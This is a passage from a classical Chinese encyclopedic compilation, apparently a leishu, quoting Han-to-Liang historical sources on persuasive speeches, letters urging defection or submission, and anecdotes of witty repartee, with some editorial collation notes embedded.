提 左 挈 . 而 责 直 义 煞 王 . 灭 燕 易 矣 . 燕 以 为 然 . 迺 归 赵 王 .\n东 观 汉 记 曰 . 隗 嚣 既 立 . 使 聘 平 陵 方 望 为 军 师 . 望 至 . 说 嚣 曰 . 足 下 欲 承 天 顺 民 . 辅 汉 而 起 . 今 立 者 乃 在 南 阳 . 王 莽 尚 据 长 安 . 虽 欲 以 汉 为 名 . 其 实 无 所 受 命 . 将 何 以 见 信 于 众 . 宜 急 立 高 庙 . 称 臣 奉 祠 . 所 谓 神 道 设 教 . 求 助 民 神 者 也 . 嚣 从 其 言 . 又 曰 . 隗 嚣 将 王 元 说 嚣 曰 . 昔 更 始 西 都 . 四 方 响 应 . 天 下 喁 喁 . 谓 之 太 平 . 一 旦 坏 败 . 今 南 有 子 阳 . 北 有 文 伯 . 江 湖 海 岱 . 王 公 十 数 . 而 欲 牵 儒 生 之 说 . 弃 千 乘 之 基 . 计 之 不 可 者 也 . 今 天 水 见 富 . 士 马 最 强 . 北 取 西 河 . 东 收 三 辅 . 案 秦 旧 迹 . 表 里 山 河 . 元 请 以 一 丸 泥 . 为 大 王 东 封 函 谷 关 . 此 万 世 一 时 也 . 若 计 不 及 此 . 且 畜 养 士 马 . 据 隘 自 守 . 旷 日 持 久 . 以 待 四 方 之 变 . 图 王 不 成 . 其 弊 犹 足 以 霸 . 嚣 然 其 计 .\n又 曰 . 功 曹 李 熊 . 说 公 孙 述 曰 . 蜀 地 沃 野 千 里 . 土 壤 膏 腴 . 果 实 所 生 . 无 谷 而 饱 . 战 士 不 下 百 万 . 见 利 则 出 兵 而 略 地 . 无 利 则 坚 守 而 力 农 . 东 下 汉 水 . 以 窥 秦 地 . 南 顺 江 流 . 以 震 荆 杨 . 所 谓 用 天 因 地 . 成 功 之 资 . 今 名 号 未 定 . 志 士 狐 疑 . 宜 即 大 位 . 使 远 人 有 所 依 归 . 述 遂 自 立 为 天 子 .\n又 曰 . 邓 禹 闻 上 安 集 河 北 . 即 杖 策 北 渡 . 追 及 于 邺 . 禹 进 曰 . 三 辅 假 号 . 往 往 群 聚 . 皆 庸 人 崛 起 . 志 在 财 币 . 非 有 忠 良 明 智 . 深 虑 远 图 . 尊 主 安 民 者 也 . 明 公 虽 建 蕃 辅 之 功 . 犹 恐 无 所 成 立 . 于 今 之 计 . 莫 如 揽 延 英 雄 . 务 悦 民 心 . 立 高 祖 之 业 . 救 万 民 之 命 . 以 公 虑 天 下 . 不 足 定 也 . 上 大 悦 .\n范 晔 后 汉 书 曰 . 袁 绍 奔 冀 州 . 董 卓 购 募 绍 . 伍 琼 说 卓 曰 . 袁 绍 不 达 大 体 . 恐 惧 出 奔 . 非 有 他 志 . 今 急 购 之 . 势 必 为 变 . 袁 氏 树 恩 四 世 . 门 生 故 吏 . 遍 于 天 下 . 若 收 豪 杰 以 聚 徒 众 . 英 雄 因 之 而 起 . 则 山 东 非 公 之 有 也 . 不 如 赦 之 . 必 无 患 矣 . 卓 以 为 然 .\n又 曰 . 曹 公 军 至 新 野 . 傅 巽 说 刘 琮 曰 . 逆 顺 有 大 体 . 强 弱 有 定 势 . 以 人 臣 而 拒 人 主 . 逆 道 也 . 以 新 造 之 楚 . 而 御 中 国 . 必 危 也 . 以 刘 备 而 敌 曹 公 . 不 当 也 . 三 者 皆 短 . 欲 以 抗 王 师 之 锋 . 必 凶 之 道 也 . 愿 将 军 勿 疑 .\n汉 晋 春 秋 曰 . 钟 会 阴 怀 异 图 . 姜 维 见 而 知 其 心 . 乃 说 之 曰 . 闻 君 自 淮 南 以 来 . 无 遗 策 . 今 复 定 蜀 . 威 德 震 世 . 民 高 其 功 . 而 主 畏 其 谋 . 欲 以 此 安 归 乎 . 夫 韩 信 不 背 于 汉 . 扰 攘 而 见 疑 于 既 平 . 大 夫 种 不 从 范 蠡 于 五 湖 . 卒 伏 剑 而 妄 死 . 彼 岂 闇 主 愚 臣 哉 . 利 害 使 之 然 也 . 今 公 何 不 法 陶 朱 . 泛 舟 绝 迹 . 全 功 保 身 . 登 峨 眉 之 岭 . 而 从 赤 松 游 乎 . 会 曰 . 为 全 之 道 . 或 未 尽 于 此 也 . 维 曰 . 其 他 则 君 智 力 所 能 尽 . 无 烦 老 夫 矣 .\n【 书 】 齐 鲁 仲 连 与 燕 将 书 曰 . 吾 闻 之 . 智 者 不 背 时 而 弃 利 . 勇 士 不 怯 死 而 灭 名 . 忠 臣 不 先 身 而 后 君 . 忠 废 名 灭 . 后 世 无 称 . 非 智 也 . 且 吾 闻 效 小 节 者 不 能 行 大 威 . 恶 小 耻 者 不 能 立 荣 名 . 昔 管 仲 射 桓 公 . 中 其 钩 . 篡 也 . 傅 公 子 纠 而 不 死 . 怯 也 . 束 缚 桎 梏 . 辱 也 . 三 行 者 . 乡 里 不 通 . 世 主 弗 臣 . 使 管 仲 终 窘 抑 而 不 见 . 穷 年 没 寿 . 不 免 为 辱 人 . 然 而 管 仲 并 三 行 之 过 . 据 齐 国 之 政 . 一 匡 天 下 . 九 合 诸 侯 . 使 为 五 伯 首 . 名 高 天 下 . 光 昭 邻 国 . 曹 沫 为 鲁 君 将 . 三 战 而 丧 地 千 里 . 使 曹 沫 计 不 顾 后 . 即 不 免 为 败 军 禽 将 . 非 勇 也 . 功 废 名 灭 . 后 世 无 称 . 非 智 也 . 去 三 北 之 耻 . 以 一 剑 之 任 . 劫 桓 公 于 坛 上 . 颜 色 不 变 . 而 辞 气 不 悖 . 三 战 之 所 丧 . 一 朝 反 之 . 天 下 振 动 . 名 传 后 世 . 若 此 二 公 者 . 非 不 能 行 小 节 . 死 小 耻 也 . 以 为 煞 身 绝 世 . 功 名 不 立 . 非 智 也 . 故 业 与 三 王 争 流 . 名 与 天 壤 相 弊 也 . 公 其 图 之 .\n汉 司 马 相 如 谕 难 蜀 父 老 书 曰 . 汉 兴 七 十 有 八 载 . 德 茂 存 乎 六 世 . 威 武 纷 纭 . 湛 恩 汪 濊 . 群 生 沾 濡 . 洋 溢 乎 方 外 . 于 是 乃 命 使 西 征 . 随 流 而 攘 . 风 之 所 被 . ● 不 披 靡 . 结 轨 还 辕 . 东 向 将 报 . 至 于 蜀 都 . 耆 老 大 夫 搢 绅 先 生 之 徒 二 十 有 七 人 . 俨 然 造 焉 . 辞 毕 进 曰 . 盖 闻 天 子 之 牧 夷 狄 也 . 其 义 羁 縻 勿 绝 而 已 . 今 罢 三 郡 之 士 . 通 夜 郎 之 涂 . 三 年 于 兹 . 而 功 不 竟 . 今 又 接 之 以 西 夷 . 百 姓 力 屈 . 恐 不 能 卒 业 . 此 亦 使 者 之 累 也 . 使 者 曰 . 世 必 有 非 常 之 人 . 然 后 有 非 常 之 事 . 有 非 常 之 事 . 然 后 有 非 常 之 功 . 非 常 者 . 固 常 人 之 所 异 也 . 且 夫 贤 君 之 践 位 也 . 必 将 崇 论 宏 议 . 创 业 垂 统 . 为 万 世 规 . 是 以 六 合 之 内 . 八 方 之 外 . 怀 生 之 伦 . 靡 有 不 浸 润 于 泽 者 . 贤 君 耻 之 . 而 夷 狄 殊 俗 之 国 . 辽 绝 异 党 之 域 . 舟 车 不 通 . 人 迹 罕 至 . 君 臣 易 位 . 尊 卑 失 序 . 号 泣 内 向 而 怨 曰 . 盖 闻 中 国 有 至 仁 焉 . 举 踵 思 慕 . 若 枯 旱 之 望 雨 . 故 乃 关 沫 若 . 徼 柯 . 镂 灵 山 . 梁 孙 原 . 创 道 德 之 涂 . 垂 仁 义 之 统 . 以 偃 甲 兵 于 此 . 而 息 讨 伐 于 彼 . 遐 迩 一 体 . 中 外 禔 福 . 不 亦 康 乎 . 方 将 增 太 山 之 封 . 鸣 和 鸾 . 扬 乐 颂 . 上 减 五 . 下 登 三 . 观 者 未 睹 旨 . 听 者 未 闻 音 . 犹 鹪 鹏 已 翔 乎 寥 廓 之 宇 . 而 罗 者 犹 视 乎 薮 泽 . 于 是 诸 大 夫 喟 然 称 曰 . 允 哉 汉 德 . 此 固 鄙 人 之 所 愿 闻 也 .\n后 汉 朱 浮 与 彭 宠 书 曰 . 朝 廷 之 于 伯 通 . 恩 亦 厚 矣 . 委 以 大 郡 . 任 以 威 武 . 事 有 柱 石 之 寄 . 情 同 子 孙 之 亲 . 匹 夫 媵 母 . 尚 能 致 命 一 餐 . 岂 有 身 带 三 绶 . 职 典 大 邦 . 而 不 顾 恩 义 . 生 心 外 叛 者 乎 . 伯 通 与 吏 民 语 . 何 以 为 颜 . 行 步 拜 起 . 何 以 为 容 . 坐 卧 念 之 . 何 以 为 心 . 引 镜 窥 影 . 何 施 眉 目 . 惜 乎 弃 休 令 之 嘉 名 . 造 鸱 枭 之 逆 谋 . 捐 传 世 之 庆 祚 . 招 破 败 之 重 灾 . 生 为 世 笑 . 死 为 愚 鬼 . 不 亦 哀 乎 . 伯 通 自 伐 . 以 为 功 高 天 下 . 往 时 辽 东 有 豕 . 生 子 白 头 . 异 而 献 之 . 行 至 河 东 . 见 群 豕 皆 白 . 怀 惭 而 还 . 若 以 子 之 功 . 论 于 朝 廷 . 则 为 辽 东 豕 也 .\n后 汉 冯 衍 说 曰 . 皇 帝 圣 德 灵 威 . 龙 兴 凤 举 . 率 宛 叶 之 效 . 摧 九 虎 之 军 . 雷 震 四 海 . 席 卷 天 下 . 攘 除 祸 乱 . 继 高 祖 之 休 烈 . 修 文 武 之 绝 业 . 社 稷 复 存 . 炎 精 更 辉 . 德 冠 往 初 . 功 无 与 二 . 天 下 因 以 去 亡 新 . 就 圣 汉 . 故 易 以 树 恩 布 德 . 易 于 周 洽 . 其 犹 顺 惊 风 而 蜚 鸿 毛 . 然 而 诸 将 卤 掠 . 至 乎 逆 伦 绝 理 . 杀 人 父 子 . 妻 人 妇 女 . 燔 其 室 屋 . 殄 尽 其 财 产 . 冤 结 失 望 . 无 所 归 命 . 今 大 将 军 以 明 淑 之 德 . 秉 大 使 之 权 . 统 三 军 之 政 . 存 抚 并 州 之 民 . 惠 爱 之 诚 . 加 乎 百 姓 . 高 世 之 声 . 闻 乎 群 士 . 故 其 延 颈 举 踵 而 望 者 . 非 特 二 ○ 后 汉 书 五 十 八 冯 衍 传 作 一 . 人 也 . 且 大 将 军 之 事 . 岂 得 在 于 珪 璧 束 脩 而 已 哉 . 将 定 国 家 之 大 业 . 成 天 地 之 元 功 也 . 昔 周 宣 中 兴 之 主 . 齐 桓 霸 强 之 君 耳 . 犹 有 申 伯 邵 虎 . 夷 吾 申 ○ 衍 传 作 吉 . 甫 . 安 其 疆 宇 . 况 乎 万 里 之 汉 . 明 帝 复 兴 . 而 大 将 军 为 之 梁 栋 . 此 诚 不 可 以 忽 也 . 且 衍 闻 之 . 兵 久 即 力 屈 . 民 愁 即 变 生 . 今 邯 郸 之 贼 未 灭 . 真 定 之 际 复 扰 . 兵 革 云 朔 . ○ 衍 传 作 翔 . 百 姓 震 骇 . 奈 何 自 怠 . 不 为 深 忧 乎 .\n魏 阮 瑀 为 魏 武 与 孙 权 书 曰 . 每 览 古 今 所 由 改 趣 . 因 缘 侵 辱 . 用 成 大 变 . 若 韩 信 伤 心 于 失 楚 . 彭 宠 积 望 于 无 异 . 卢 绾 嫌 畏 于 已 隙 . 英 布 忧 迫 于 情 漏 . 此 事 之 缘 也 . 孤 与 将 军 . 恩 如 骨 肉 . 而 忍 绝 王 命 . 明 弃 硕 交 . 不 能 远 度 孤 心 . 近 虑 事 势 . 遂 齎 见 薄 之 决 计 . 秉 翻 然 之 成 议 . 常 思 除 弃 小 事 . 更 申 前 好 . 二 族 俱 荣 . 祚 流 后 嗣 . 高 帝 设 爵 以 延 田 横 . 世 祖 指 河 而 誓 朱 鲔 . 君 之 负 累 . 岂 如 二 子 . 是 以 至 情 . 愿 闻 德 音 . 智 者 之 虑 . 虑 于 未 形 . 达 者 所 规 . 规 于 未 兆 . 是 故 子 胥 知 姑 苏 之 有 麋 鹿 . 辅 果 识 智 伯 之 为 赵 禽 . 穆 生 谢 病 以 免 楚 难 . 邹 阳 北 游 . 不 同 吴 祸 . 此 四 士 者 . 岂 圣 人 哉 . 徒 通 变 思 深 . 以 微 知 着 耳 . 若 能 内 取 子 布 . 外 击 刘 备 . 以 效 赤 心 . 用 复 前 好 者 . 则 江 表 之 任 . 长 以 相 付 . 高 位 重 爵 . 坦 然 可 观 .\n晋 孙 楚 为 石 苞 与 孙 皓 书 曰 . 吴 之 先 主 . 起 自 荆 州 . 遭 时 扰 攘 . 播 潜 江 表 . 刘 备 震 惧 . 迹 巴 岷 . 遂 依 丘 陵 积 石 之 固 . 三 江 五 湖 . 浩 汗 无 涯 . 假 气 游 魂 . 迄 于 四 纪 . 二 邦 合 从 . 东 西 唱 和 . 卒 相 扇 动 . 拒 捍 中 国 . 自 谓 三 分 鼎 足 之 势 . 可 与 泰 山 共 相 终 始 . 晋 王 辅 相 帝 室 . 文 武 桓 桓 . 独 见 之 鉴 . 与 众 绝 虑 . 主 上 钦 明 . 委 以 万 机 . 长 辔 远 御 . 妙 略 潜 授 . 偏 师 同 心 . 上 下 用 力 . 威 棱 奋 伐 . 深 入 其 阻 . 并 敌 一 向 . 奋 其 胆 气 . 小 战 江 界 . 成 都 自 溃 . 曜 兵 剑 阁 . 而 姜 维 面 缚 . 开 地 五 千 . 裂 郡 三 十 . 师 不 逾 时 . 梁 益 肃 清 . 使 窃 号 之 雄 . 稽 颡 绛 ● . 球 琳 重 锦 . 充 于 府 库 . 夫 虢 灭 虞 亡 . 韩 并 魏 徙 . 此 皆 前 鉴 之 验 . 后 事 之 师 也 . 方 今 百 寮 济 济 . 俊 乂 盈 朝 . 虎 臣 武 将 . 折 冲 万 里 . 国 富 兵 强 . 六 军 精 练 . 思 复 翰 飞 . 饮 马 南 海 . 自 顷 国 家 整 治 器 械 . 修 造 舟 楫 . 简 习 水 战 . 伐 树 北 山 . 则 太 行 木 尽 . 浚 决 河 洛 . 则 百 川 流 通 . 楼 船 万 艘 . 千 里 相 望 . 自 刳 木 以 来 . 舟 车 之 用 . 未 有 如 今 日 之 盛 者 也 . 骁 勇 百 万 . 畜 力 待 时 . 役 不 再 举 . 今 日 之 谓 也 .\n晋 刘 琨 与 石 勒 书 曰 . 将 军 诞 禀 雄 姿 . 勇 略 自 然 . 大 呼 于 纷 扰 之 中 . 奋 臂 于 骇 乱 之 际 . 发 迹 河 朔 . 席 卷 兖 豫 . 饮 马 江 沔 . 折 冲 淮 汉 . 自 古 名 将 . 未 足 为 喻 . 所 以 攻 城 而 不 有 其 民 . 略 地 而 不 有 其 士 . 聚 徒 百 万 . 而 莫 为 己 用 . 翕 尔 云 合 . 忽 复 星 散 . 周 流 天 下 . 而 无 容 足 之 地 . 百 战 百 胜 . 而 无 尺 寸 之 功 . 将 军 岂 知 然 乎 . 存 亡 决 在 得 主 . 成 败 要 在 所 附 . 得 主 则 为 义 兵 . 附 逆 则 为 贼 众 . 义 兵 虽 败 . 而 功 业 必 成 . 贼 众 虽 克 . 而 终 殄 灭 者 也 . 赤 眉 盛 于 东 海 . 黄 巾 连 带 三 州 . 张 昌 李 辰 . 僭 逆 荆 豫 . 或 拥 众 百 万 . 横 逸 宇 内 . 所 以 一 旦 败 亡 . 正 以 兵 出 无 名 . 聚 而 为 乱 . 刘 聪 父 子 . 戎 狄 凡 才 . 乘 衅 肆 毒 . 寇 虐 人 神 . 煞 父 害 弟 . 偷 窃 位 号 . 自 古 及 今 . 岂 有 聪 比 而 可 以 王 天 下 者 乎 . 见 将 军 明 鉴 灼 然 . 所 宜 悬 了 者 也 . 况 附 聪 之 弊 . 渐 以 彰 着 . 资 财 不 为 己 用 . 名 位 不 可 得 守 . 有 若 晨 霜 秋 露 . 氛 雾 之 气 . 虽 朝 凝 而 夕 消 . 蹔 见 而 寻 没 也 . 今 将 军 附 贼 . 而 望 为 民 主 . 不 亦 难 乎 .\n晋 桓 玄 与 刘 牢 之 书 曰 . 今 君 战 败 则 倾 宗 . 战 胜 则 覆 族 . 以 是 安 归 乎 . 孰 若 翻 然 改 图 . 唯 理 是 宅 . 保 其 富 贵 . 全 其 勋 业 . 则 身 与 金 石 等 固 . 名 与 天 壤 俱 穷 . 孰 与 头 足 异 处 . 身 名 俱 灭 . 为 天 下 笑 哉 . 夫 明 者 见 于 无 形 . 愚 夫 安 于 所 . 二 者 成 败 . 惟 君 图 之 .\n宋 谢 庄 为 朝 臣 与 雍 州 刺 史 袁 顗 书 曰 . 夫 夷 险 相 因 . 兴 革 逮 数 . 或 殷 忧 而 启 圣 明 . 此 既 着 于 闻 见 . 天 道 辅 顺 . 讴 歌 有 奉 . 高 祖 之 孙 . 文 皇 之 子 . 德 洞 九 幽 . 功 贯 二 曜 . 匡 拯 家 国 . 提 敏 苍 生 . 若 不 南 面 子 民 . 将 使 神 器 何 主 . 当 誓 众 奋 戈 . 剪 此 朝 食 . 若 自 延 过 听 . 迷 涂 未 远 . 圣 上 临 物 以 仁 . 接 下 以 爱 . 岂 直 雍 齿 先 封 . 乃 当 射 钩 见 相 矣 .\n梁 简 文 帝 与 魏 东 荆 州 刺 史 李 志 书 曰 . 卿 门 世 英 叶 . 中 州 旧 族 . 自 金 天 失 驭 . 帝 鼎 南 迁 . 衣 冠 播 越 . 不 及 俱 迈 . 岂 可 屈 志 膻 戎 . 久 沦 胡 壤 . 今 皇 师 外 埽 . 天 钺 四 临 . 海 荡 电 飞 . 云 蒸 雨 合 . 所 摧 所 克 . 是 卿 之 具 闻 也 . 且 伪 国 沸 腾 . 四 方 幅 裂 . 主 虐 臣 奸 . 牝 鸡 乱 政 . 若 能 早 识 事 机 . 翻 归 有 道 . 岂 直 图 形 长 乐 . 刻 像 钟 鼎 . 时 事 易 差 . 相 思 勉 励 . 但 明 月 闇 投 . 昔 人 为 诫 . 邻 蕃 赠 药 . 有 可 虚 怀 . 密 驿 轻 邮 . 侧 望 归 简 .\n梁 邵 陵 王 萧 纶 与 元 帝 书 曰 . 先 朝 圣 德 治 天 下 . 九 亲 维 睦 . 四 表 无 怨 . 诚 为 国 政 . 实 亦 家 风 . 弟 弘 识 远 鉴 . 无 俟 傍 说 . 事 重 情 切 . 不 能 默 已 . 劳 兵 损 义 . 亏 失 多 矣 . 可 谓 吞 冰 疗 寒 . 扬 汤 止 沸 . 侯 景 所 以 未 敢 窥 兵 江 外 . 正 为 蕃 屏 盘 固 . 宗 镇 强 密 . 若 自 相 鱼 肉 . 是 谓 代 景 行 师 . 昔 廉 蔺 二 虎 . 且 犹 不 斗 . 况 弟 与 湘 雍 . 方 须 协 力 . 惟 亲 惟 急 . 万 倍 于 斯 . 同 怨 同 耻 . 尤 甚 昔 事 . 岂 得 各 恣 目 前 . 不 思 久 远 . 安 卧 积 薪 . 日 待 焚 炽 . 狂 夫 尚 犹 阻 之 . 智 者 反 致 其 惑 . 所 冀 听 识 . 一 闻 斯 悟 .\n梁 丘 迟 与 陈 伯 之 书 曰 . 将 军 勇 冠 三 军 . 才 为 世 出 . 弃\n燕 雀 之 小 志 . 慕 鸿 鹤 以 高 翔 . 昔 因 机 变 化 . 遭 遇 明 主 .\n立 功 展 事 . 开 国 称 孤 . 朱 轮 华 毂 . 拥 旄 万 里 . 何 其 壮 也\n. 如 何 一 旦 为 奔 亡 之 虏 . 闻 鸣 镝 而 股 栗 . 对 穹 庐 以 屈 膝\n. 又 何 劣 耶 . 暮 春 三 月 . 江 南 草 长 . 杂 花 生 树 . 群 鹦 乱\n飞 . 见 故 国 之 旗 鼓 . 感 平 生 于 畴 昔 . 抚 弦 登 陴 . 岂 不 怆\n恨 . 所 以 廉 公 之 思 赵 将 . 吴 子 之 泣 西 河 . 人 之 情 也 . 将\n军 独 无 情 哉 .\n左 传 曰 . 晋 人 或 以 广 队 . 不 能 进 . 楚 人 惎 之 . 脱 扃 . 少 进 马 还 . 又 惎 之 . 拔 旆 投 衡 乃 出 . 顾 曰 . 吾 不 如 大 国 之 数 奔 也 .\n晏 子 春 秋 曰 . 晏 子 短 小 . 使 楚 . 楚 人 为 小 门 于 大 门 侧 . 而 延 晏 子 . 晏 子 不 入 . 曰 . 使 狗 国 者 . 从 狗 门 入 . 今 臣 使 楚 . 不 当 从 狗 门 入 . 王 曰 . 齐 无 人 耶 . 对 曰 . 齐 之 临 淄 . 张 袂 成 帷 . 挥 汗 成 雨 . 何 为 无 人 . 齐 使 贤 者 使 贤 王 . 不 肖 者 使 不 肖 王 . 婴 不 肖 . 故 使 王 尔 .\n又 曰 . 晏 子 使 楚 . 楚 王 谓 左 右 曰 . 晏 婴 习 辞 者 也 . 吾 欲 伤 之 . 若 坐 定 . 缚 一 人 来 . 及 婴 坐 . 左 右 缚 人 . 王 问 何 谓 者 . 曰 . 齐 人 . 坐 盗 . 王 视 晏 子 曰 . 齐 人 善 盗 乎 . 晏 子 对 曰 . 婴 闻 橘 生 江 北 则 为 枳 . 叶 徒 相 似 . 其 实 味 不 同 . 水 土 异 也 . 今 此 人 生 于 齐 不 为 盗 . 入 楚 则 盗 . 得 无 楚 之 水 土 使 为 盗 耶 . 王 笑 曰 . 寡 人 反 取 病 焉 .\n孔 藂 子 曰 . 平 原 君 与 子 高 饮 . 强 子 高 酒 . 曰 . 昔 有 遗 谚 . 尧 舜 千 钟 . 孔 子 百 觚 . 子 路 溘 溘 . 尚 饮 百 榼 . 古 之 贤 圣 . 无 不 能 饮 也 . 吾 子 何 辞 焉 . 子 高 曰 . 以 穿 所 闻 . 贤 圣 以 道 德 燕 人 . 未 闻 以 饮 也 . 平 原 君 曰 . 即 如 先 生 言 . 则 此 言 何 出 . 子 高 曰 . 出 于 嗜 酒 者 . 盖 其 劝 励 探 戏 之 辞 . 非 实 然 也 . 平 原 君 忻 然 曰 . 吾 弗 戏 子 . 无 所 闻 此 雅 言 也 .\n汉 书 曰 . 东 方 朔 自 公 卿 在 坐 . 朔 皆 傲 弄 . 无 所 为 屈 . 上 以 朔 口 谐 辞 给 . 尝 问 朔 曰 . 先 生 视 朕 何 如 主 也 . 朔 对 曰 . 自 唐 虞 之 隆 . 成 康 之 际 . 未 足 以 谕 当 世 . 臣 伏 观 陛 下 功 德 . 陈 五 帝 之 上 . 在 三 王 之 右 . 非 若 此 而 已 . 诚 得 天 下 贤 士 . 公 卿 在 位 . 咸 得 其 人 矣 . 譬 若 以 邵 公 为 丞 相 . 孔 丘 为 御 史 大 夫 . 太 公 为 将 军 . 毕 公 高 拾 遗 于 后 . 卞 庄 子 为 卫 尉 . 皋 陶 为 大 理 . 后 稷 为 司 农 . 伊 尹 为 少 府 . 子 贡 使 外 国 . 颜 闵 为 博 士 . 子 夏 为 太 常 . 孙 叔 敖 为 诸 侯 相 . 子 产 为 郡 守 . 王 子 庆 忌 为 期 门 . 上 乃 大 笑 .\n续 汉 书 . 边 韶 . 字 孝 先 . 以 文 学 知 名 . 教 授 数 百 人 . 韶 口 辩 . 曾 昼 假 卧 . 弟 子 嘲 之 曰 . 边 孝 先 . 腹 便 便 . 懒 读 书 . 但 欲 眠 . 韶 潜 闻 之 . 应 时 对 曰 . 边 为 姓 . 先 为 字 . 腹 便 便 . 五 经 笥 . 但 欲 眠 . 思 经 事 . 寐 与 周 公 通 梦 . 坐 与 孔 子 同 意 . 师 而 可 嘲 . 出 何 典 记 .\n魏 略 曰 . 丁 谧 父 斐 . 初 随 太 祖 . 太 祖 以 斐 乡 里 . 特 饶 爱 之 . 太 祖 征 吴 . 斐 随 行 . 以 家 牛 羸 困 . 私 易 官 牛 . 坐 免 官 . 后 太 祖 啁 斐 曰 . 文 侯 印 绶 所 在 . 斐 知 见 戏 . 对 曰 . 以 易 饼 . 太 祖 大 笑 . 谓 左 右 曰 . 东 曹 毛 掾 . 数 白 此 家 . 欲 我 重 治 . 我 非 不 知 清 良 也 . 譬 如 人 家 有 盗 狗 . 而 善 捕 鼠 . 盗 虽 有 小 损 . 而 完 我 囊 贮 . 遂 复 斐 官 如 初 .\n魏 略 曰 . 太 祖 请 会 . 啁 王 朗 曰 . 饮 太 祖 ○\n按 饮 太 祖 三 字 . 魏 志 王 朗 传 注 引 无 . 疑 本 作 太 祖 请 会 饮\n. 太 祖 啁 王 朗 曰 . 此 有 讹 倒 . 不 能 效 君 . 昔 在 会 稽\n折 粳 米\n饭 也 . 朗 仰 而 叹 曰 . 宜 适 难 值 . 如 朗 昔 者 . 未 可 折 而 折 . 如 明 公 今 日 . 可 折 而 不 折 .\n蜀 志 曰 . 张 裕 饶 鬓 . ○ 太 平 御 览 四 百 六 十 六 作 须 . 下 同 . 先 主 嘲 之 曰 . 涿 县 特 多 毛 姓 . 东 西 南 北 皆 诸 毛 也 . 涿 令 称 曰 . 诸 毛 饶 涿 居 乎 . 裕 即 答 曰 . 昔 有 作 上 党 潞 长 . 迁 为 涿 令 者 . 去 官 还 家 . 时 人 与 书 . 欲 署 潞 则 失 涿 . 署 涿 则 失 潞 . 乃 署 曰 潞 涿 君 . 先 主 无 鬓 . 故 裕 云 此 也 .\n又 曰 . 蜀 遣 邓 芝 使 吴 . 孙 权 谓 芝 曰 . 若 天 下 太 平 . 二 主 分 理 . 不 亦 乐 乎 . 芝 对 曰 . 夫 天 无 二 日 . 土 无 二 王 . 如 并 魏 之 后 . 大 王 未 深 识 天 命 . 则 战 争 方 始 耳 . 权 大 笑 曰 . 君 之 诚 款 . 乃 当 尔 耶 .\n吴 志 曰 . 蜀 使 张 奉 使 . 于 孙 权 前 . 以 姓 名 啁 阚 泽 . 泽 不 能 答 . 薛 综 下 行 酒 . 用 劝 云 . 蜀 者 何 也 . 有 犬 为 独 . 无 犬 为 蜀 . 横 目 句 身 . 虫 入 其 腹 . 奉 曰 . 不 当 复 说 君 吴 耶 . 综 应 声 曰 . 无 口 为 天 . 有 口 为 吴 . 君 临 万 邦 . 天 子 之 都 . 于 是 众 坐 喜 笑 . 而 奉 无 对 .\n江 表 传 曰 . 孙 权 以 郑 泉 为 郎 中 . 尝 为 之 言 . 卿 好 于 众 中 面 谏 . 或 失 礼 敬 . 宁 不 畏 龙 鳞 乎 . 对 曰 . 臣 闻 君 明 臣 直 . 朝 廷 上 下 无 讳 . 实 恃 洪 恩 . 不 畏 龙 鳞 . 后 侍 宴 . 权 乃 怖 之 . 命 提 出 有 司 治 罪 . 泉 临 出 . 屡 顾 . 权 呼 还 . 笑 曰 . 卿 言 不 畏 龙 鳞 . 何 以 临 出 而 顾 乎 . 对 曰 . 实 恃 恩 覆 . 无 忧 至 死 . 当 出 合 . 感 惟 威 灵 . 不 能 不 顾 耳 .\n典 略 曰 . 魏 文 帝 尝 赐 刘 桢 郭 落 带 . 其 后 师 死 . 欲 借 取 以 为 像 . 因 书 啁 桢 云 . 夫 物 因 人 为 贵 . 故 在 贱 者 之 手 . 不 御 至 尊 之 侧 . 今 虽 取 之 . 勿 嫌 其 不 反 也 . 桢 答 曰 . 闻 荆 山 之 璞 . 曜 元 后 之 宝 . 随 侯 之 珠 . 烛 众 女 之 好 . 南 垠 之 金 . 登 窈 窕 之 首 . 丰 貂 之 尾 . 缀 侍 臣 之 帻 . 此 四 宝 者 . 伏 朽 石 之 下 . 潜 污 泥 之 中 . 而 扬 光 千 载 之 上 . 皆 亦 未 能 初 接 于 至 尊 也 . 贵 者 所 御 . 贱 者 所 先 也 . 故 夏 屋 初 成 . 而 大 匠 先 立 其 下 . 嘉 禾 始 熟 . 而 农 夫 先 尝 其 粒 . 恨 桢 所 带 . 无 他 妙 饰 . 若 实 殊 异 . 尚 可 纳 也 .\n诸 葛 恪 别 传 曰 . 孙 权 尝 宴 见 蜀 使 费 祎 . 逆 敕 群 臣 . 使 至 伏 食 勿 起 . 至 . 权 为 辍 食 . 而 群 下 不 起 . 祎 啁 之 曰 . 凤 皇 来 翔 . 骐 驎 吐 哺 . 驴 骡 无 知 . 伏 食 如 故 . 恪 答 曰 . 爰 植 梧 桐 . 以 待 凤 皇 . 有 何 燕 雀 . 自 称 来 翔 . 何 不 弹 射 . 使 还 故 乡 . 王 隐 晋 书 曰 . 武 帝 问 郤 诜 . 卿 自 以 为 何 如 . 诜 对 曰 . 臣 举 贤 良 对 策 . 为 天 下 第 一 . 犹 桂 林 之 一 枝 . 若 山 之 片 玉 . 帝 笑 . 侍 中 奏 免 诜 . 诏 曰 . 吾 与 戏 耳 .\n晋 中 兴 书 曰 . 刁 彝 于 桓 温 坐 . 嘲 韩 博 曰 . 君 是 韩 卢 后 . 博 误 曰 . 卿 是 韩 卢 后 . 温 笑 曰 . 刁 以 君 姓 韩 . 故 相 问 耳 . 他 自 刁 . 那 得 是 韩 卢 后 . 博 曰 . 明 公 未 之 思 耳 . 短 尾 者 则 为 刁 也 . 一 坐 推 叹 焉 .\n文 士 传 曰 . 枣 据 嘲 沙 门 干 法 龙 曰 . 今 大 晋 弘 广 . 天 下 为 家 . 何 不 全 发 肤 . 去 袈 裟 . 舍 故 服 . 被 绮 罗 . 入 沧 浪 . 濯 清 波 . 随 太 阳 . 耀 春 华 . 而 独 上 违 父 母 之 恩 . 下 失 夫 妇 之 疋 . 虽 受 布 施 之 名 . 而 有 乞 丐 之 实 乎 .\n顾 恺 之 家 传 曰 . 恺 之 见 谢 万 . 因 论 神 仙 . 谓 曰 . 仙 者 之 乘 . 或 羊 或 鹿 . 使 君 当 乘 何 物 耶 . 使 君 曰 . 居 家 者 . 遇 物 斯 乘 . 卿 辈 即 辕 中 客 也 .\n语 林 曰 . 刘 道 真 于 河 侧 自 牵 舡 . 见 一 老 妪 采 旅 . ○ 太 平 御 览 四 百 六 十 六 作 稆 . 刘 啁 之 曰 . 女 子 何 不 调 机 利 杼 而 采 ● . ○ 御 览 作 稆 . 女 答 曰 . 丈 夫 何 不 跨 马 挥 鞭 而 牵 舡 .\n又 曰 . 道 真 尝 与 一 人 共 索 